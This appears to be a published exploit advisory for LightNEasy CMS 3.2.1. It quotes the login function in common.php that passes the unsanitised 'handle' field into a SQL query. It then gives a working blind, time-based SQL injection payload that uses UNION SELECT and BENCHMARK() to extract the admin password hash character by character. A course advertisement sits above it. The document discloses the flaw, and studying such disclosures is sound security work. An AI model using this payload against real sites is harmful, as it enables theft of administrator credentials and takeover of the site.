LightNEasy CMS 3.2.1 - Blind SQL Injection





Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

# Exploit Title: LightNEasy Cms 3.2.1 Blind SQL Injection Vulnerability
# Date: 20.09.2010
# Author: Stephan Sattler //
# Software Website:
# Software Link:
# Version: 3.2.1
# Special Thanks to: Dominik Landtwing
[ Vulnerability]

# Vulnerable Code:

common.php line 112-148

function login() {
	global $message, $set, $langmessage, $prefix;
	if($_SESSION[$set['password']]!="1") {
	if($_GET['do']=="login" && $_POST['handle']!="") {
		$result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
		if($row = fetch_array($result)) {
			if($row['password'] == sha1($_POST['password'])) {

# Explanation:

$_POST['handle'] isn't sanitized before executing the database query.

Since the only user after a fresh install is the admin-user with id 1 and
a normal visitor can't register we have to retrieve the admin hash by using benchmark().

# Exploiting the Vulnerability // PoC:

URL: http://localhost/LNE/LightNEasy.php?do=login


handle=" UNION SELECT IF(SUBSTRING(password,1 ,1) = CHAR(98), BENCHMARK(1000000, ENCODE('Slow','Down')), null),2,3,4,5,6,7,8,9,10,11 FROM lne_users WHERE id="1&password=&do=login&=Login

This will trigger benchmark() if the first character of the admin hash is b.